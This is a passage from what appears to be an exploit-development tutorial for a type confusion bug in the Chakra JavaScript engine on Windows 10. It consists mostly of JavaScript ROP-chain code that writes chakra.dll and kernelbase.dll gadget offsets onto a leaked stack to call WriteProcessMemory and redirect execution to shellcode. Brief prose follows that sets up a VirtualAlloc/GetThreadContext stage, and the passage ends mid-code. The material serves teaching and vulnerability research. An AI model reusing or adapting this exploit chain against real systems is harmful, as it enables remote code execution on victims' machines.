<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetOne</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 3)</span>
<span class="c1">// Stage 6 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetTwo</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Before the call:</p>

<p><img src="/images/3typeconfusion144.png" alt="" /></p>

<p>After the call:</p>

<p><img src="/images/3typeconfusion145.png" alt="" /></p>

<p><img src="/images/3typeconfusion146.png" alt="" /></p>

<p>Again, this is identical to last time and we use the <code class="language-plaintext highlighter-rouge">ropoffsetTwo</code> variable here, which is just used to essentially calculate the offset from where our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain began to the <em>actual</em> address within the ROP chain we want to update (<code class="language-plaintext highlighter-rouge">lpAddress</code> and our “fake” return address we want our ROP chain to jump to).</p>

<h2 id="virtualalloc-rop-chain"><code class="language-plaintext highlighter-rouge">VirtualAlloc</code> ROP Chain</h2>

<p>This next function call may seem a bit confusing - a call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>. We don’t really need to call this function, from an exploitation technique perspective. We will (after this function call) make a call to <code class="language-plaintext highlighter-rouge">GetThreadContext</code> to retrieve the state of the CPU registers for our previously created thread within the JIT process so that we can leak the value of RSP and eventually write our final ROP chain there. A <code class="language-plaintext highlighter-rouge">GetThreadContext</code> call expects a pointer to a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure - where the function will go and fill our the structure with the current CPU register state of a given thread (our remotely created thread).</p>

<p><img src="/images/3typeconfusion147.png" alt="" /></p>

<p>On the current version of Windows used to develop this exploit, Windows 10 1703, a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure is <code class="language-plaintext highlighter-rouge">0x4d0</code> bytes in size. So, we will be setting up a call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> to allocate <code class="language-plaintext highlighter-rouge">0x4d0</code> bytes of memory to store this structure for later usage.</p>

<p><img src="/images/3typeconfusion148.png" alt="" /></p>

<p>Here is how our call will be setup:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc</span><span class="p">(</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Let the system decide where to allocate the memory</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">),</span>		<span class="c1">// The size we want to allocate (size of a CONTEXT structure)</span>
	<span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span>	<span class="c1">// Make sure this memory is committed and reserved</span>
	<span class="n">PAGE_READWRITE</span>			<span class="c1">// Make sure the page is writable so GetThreadContext can write to it</span>
